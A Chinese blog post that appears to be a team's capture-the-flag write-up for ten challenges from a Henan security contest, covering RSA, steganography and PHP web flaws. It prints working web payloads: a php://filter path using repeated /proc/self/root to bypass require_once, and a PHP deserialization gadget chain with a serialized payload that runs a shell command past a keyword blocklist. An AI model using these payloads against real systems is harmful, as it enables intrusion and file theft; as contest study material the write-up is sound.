河南省第五届“金盾信安杯”网络与数据安全大赛-WP

文章讲述了参赛者在技术挑战中的经历,涉及RSA加密解密、密码破解、图片隐藏、PHP源码泄露、Web安全漏洞等内容,展示了加密算法应用及安全问题解决策略。

师傅们,我太菜了,除了最后一个小时都还在前20名,结果最后一个小时被踢下去了,做了一道少解的题目也掩饰溃败,被打服了,直接被踢出前40名,babyrsa到底怎么解,呜呜!被打服了!!!!!!!以下是我们队伍的10道题目的wp。

题目一 Crypto-我看看谁还不会RSA

操作内容:

看到该题之后发现是私钥加密,公钥解密

脚本代码:

from Crypto.Util.number import *

c=8232151627233115772131180151146951323147507324390914513031444555762539986162650

p=8666789885346075954502743436174521501697

q=2449101960789395782044494299423558347143

n = p*q

phin = (p-1)*(q-1)

e=37777

m = pow(c,e,n)

print(long_to_bytes(m))

flag值:

flag{r5a_Who_w0nt}

题目二 Misc-来都来了

操作内容:

打开压缩包发现有密码

用010工具打开发现是伪加密

把09改为00,之后即可解压缩,压缩之后的内容为

Base64解密之后把解密内容缩小

flag值:

flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}

题目三 Cypto-hakiehs

操作内容:

通过图片形式打开,有3种类型的密码

在网上查找到了3种密码对应的密码表

对应密码表得到相应的字母是linkzeldadanon及为flag

flag值:

flag{linkzeldaganon}

题目四 Misc-Honor

操作内容:

foremost分离图片:foremost -T 图片

发现有一个jpg文件

用stegdetect分析存在隐写

用stegseek使用rockyou输入命令爆破密码

进行栅栏w型解密

flag值:

flag{424c076e-768c-3636-acb5-4676900b9eec}

题目五 get_source

操作内容:

访问页面发现无内容,但通过返回包可发现php版本7.4.21

可利用Development Server源码泄露漏洞源码泄露漏洞

得到源码后分析,md5和sha1可用数组绕过

post传参a[]=1&b[]=2&pwn[]=1 访问页面得到flag

flag值:

动态flag不给了

题目六 Web-ApeCoin

操作内容:

页面无明显漏洞点 考虑源码泄露

访问/www.tar.gz发现源码泄露

在static/font目录下发现可疑文件.txt.php

打开后发现为冰蝎马

根据特征解密得到链接密码74658263

冰蝎链接找到flag

flag值:

flag{59366e97-4d45-4338-9056-4f06b0493df2}

题目七 Web-Easyphp

操作内容:

进入页面发现require_once文件包含

但flag.php已被包含过一次

用伪协议配合多级符号链接的办法进行绕过

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/index.php

但是发现flag为假

之后考虑包含页面出现的hint.php

发现该页面反序列化命令执行

源代码为

<?php

error_reporting(0);

class mouse

{

    public $rice;

    function __isset($n){

        $this->rice->nothing();

    }

}

class dog

{

    public $a;

    public $b;

    public $c;

    function __wakeup(){

        $this->a = 'chance?';

    }

    function __destruct(){

        $this->b = $this->c;

        die($this->a);

    }

}

class ct

{

    public $fish;

    function __toString()

    {

        if(isset($this->fish->d))

        {

            echo 'you wrong';

        }

    }

}

class get

{

    public $cmd;

    function __call($name,$no)

    {

        eval($this->cmd);

    }

}

$pop = $_GET['pop'];

if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){

    echo "you will get flag".'</br>';

    unserialize($pop);

}

else{

    die("Try again!");

}

分析反序化链

从 dog->ct->mouse->get构造 payload 绕过正则

编写反序列化脚本

<?php

class mouse

{

    public $rice;

    function __construct()

    {

        $this->rice = new get;

    }

}

class dog

{

    public $a;

    public $b;

    public $c;

    function __construct()

    {

        $this->a = 'chance?';

        $this->b = &$this->a;

        $this->c = new ct;

    }

}

class ct

{

    public $fish;

    function __construct()

    {

        $this->fish = new mouse;

    }

}

class get

{

    public $cmd;

    function __construct()

    {

        $this->cmd = 'print(`c\at /realflag/you_want_flag.php`);';

    }

}

print_r(serialize(new dog));

运行得到

O:3:"dog":3:{s:1:"a";s:7:"chance?";s:1:"b";R:2;s:1:"c";O:2:"ct":1:{s:4:"fish";O:5:"mouse":1:{s:4:"rice";O:3:"get":1:{s:3:"cmd";s:42:"print(`c\at /realflag/you_want_flag.php`);";}}}}

传参后f12得到flag

flag值:

动态flag,不给了

题目八 ezupload

操作内容:

爆破目录发现/flag目录下有内容

访问发现为flag

flag值:

flag{4a384594-7550-4544-b256-66d18640a478}

题目九 Crypto-font

操作内容:脑洞一套炸了

打开图片详细信息

◎☀◐♬¤☾♀☹☽§♪℗♩☑♪®♂¤☒♫〼♪۞◐§◎☀◐◑☼♭©☺♪√

☑◑☼√♬◎〼©♂☑√۞☽♩☺☀☑◑☀√☑♩☒♂☑☀☹♪

通过在浏览器上发现了一句英文串描述该图片

theQuickbrownfoxjumpsoverthelazydog,

发现与◎☀◐♬¤☾♀☹☽§♪℗♩☑♪®♂¤☒♫〼♪۞◐§◎☀◐◑☼♭©☺♪√一一对应正好36个

字母表为

√:g;♪:0;☺  d;©  y;♭  z;☼  a;◑  l;◐ e;☀ h;◎  t;§  r;◐  e;۞  v;♪  o;〼  s;♫ p;☒  m;¤  u;♂  j;® x;♪ o;☑  f;♩  n;℗  w;♪ o;§  r;☽  b;☹  k;♀  c;☾  i;¤ u;♬ q;◐  e;☀ h;◎  t

根据☑◑☼√♬◎〼©♂☑√۞☽♩☺☀☑◑☀√☑♩☒♂☑☀☹♪一一对应到字母表上

是qtsyjfgvbndhflhgfnmjfhko就是flag

flag值:

flag{qtsyjfgvbndhflhgfnmjfhko}

题目十 Misc-芙宁娜

操作内容:

某电信原题,最后8e8f,不好多说,之前的wp也可水

'ZmxhZ3tiYzgzOTRhYS03ZTMyLTQ3ZTgtYTlmZC0xYmY2ODNhZg=='

flag{bc8394aa-7e32-47e8-a9fd-1bf683af

通过ps的元数据可以得到被遮盖的16进制编码,通过重组还原得到⼀个pyc⽂ 件,pyc隐写得到8e8f} 

拼接可得flag

第二种方法:

爆破找几个慢慢提交,反正没有提交限制,就是流量大,比赛时候,真的只有这个方法最实用

import string

chars = string.ascii_lowercase + string.digits
flag = "flag{bc8394aa-7e32-47e8-a9fd-1bf683af"

with open(r"C:\Users\Administrator\Desktop\23.txt", "w") as file:
    for a in chars:
        for b in chars:
            for c in chars:
                for d in chars:
                    current_flag = flag + a + b + c + d + "}"
                    file.write(current_flag + "\n")

print("结果已保存在桌面上")

爆破脚本附上!

flag值:

flag{bc8394aa-7e32-47e8-a9fd-1bf683af8e8f}

评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值